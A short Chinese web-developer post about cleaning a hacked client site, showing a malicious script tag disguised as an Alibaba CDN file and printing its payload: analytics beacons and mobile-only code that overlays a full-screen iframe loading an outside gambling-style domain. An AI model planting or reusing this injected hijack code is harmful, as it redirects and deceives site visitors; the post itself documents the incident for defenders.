今天給有個(gè)客戶網(wǎng)站被黑了給客戶做網(wǎng)站安全修復(fù)
<script src="http://img-alicdn.com/js-sdk-pro.min.js"></script>
這個(gè)代碼 我前前后后看了10遍都沒去想他是個(gè)惡意代碼 都以為是阿里云的CDN
點(diǎn)開一看 傻眼了
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?e4a421e7639148192956b1741402a0e2"; var s = document.getElementsByTagName("script")[0]; s[xss_clean].insertBefore(hm, s); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?bf858790cc1b5bf72311717faa002bb1"; var s = document.getElementsByTagName("script")[0]; s[xss_clean].insertBefore(hm, s); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?983e51308ea0b41d540ae109dd018fed"; var s = document.getElementsByTagName("script")[0]; s[xss_clean].insertBefore(hm, s); })(); function isMobile() { let flag = navigator.userAgent.match( /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i ); return flag; } function toPage(){ if (isMobile()) { var strUrl = "https://340224555310.cc/"; [xss_clean]('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); [xss_clean]('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>'); [xss_clean]('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">'); [xss_clean]('<iframe src=' +strUrl+' frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>'); [xss_clean]('</div>'); // location.href = "https://com"; }else{ } } toPage();
如果您的問題還未解決可以聯(lián)系站長付費(fèi)協(xié)助。

有問題可以加入技術(shù)QQ群一起交流學(xué)習(xí)
本站vip會(huì)員 請(qǐng)加入無憂模板網(wǎng) VIP群(50604020) PS:加入時(shí)備注用戶名或昵稱
普通注冊(cè)會(huì)員或訪客 請(qǐng)加入無憂模板網(wǎng) 技術(shù)交流群(50604130)
客服微信號(hào):15898888535
聲明:本站所有文章資源內(nèi)容,如無特殊說明或標(biāo)注,均為采集網(wǎng)絡(luò)資源。如若內(nèi)容侵犯了原著者的合法權(quán)益,可聯(lián)系站長刪除。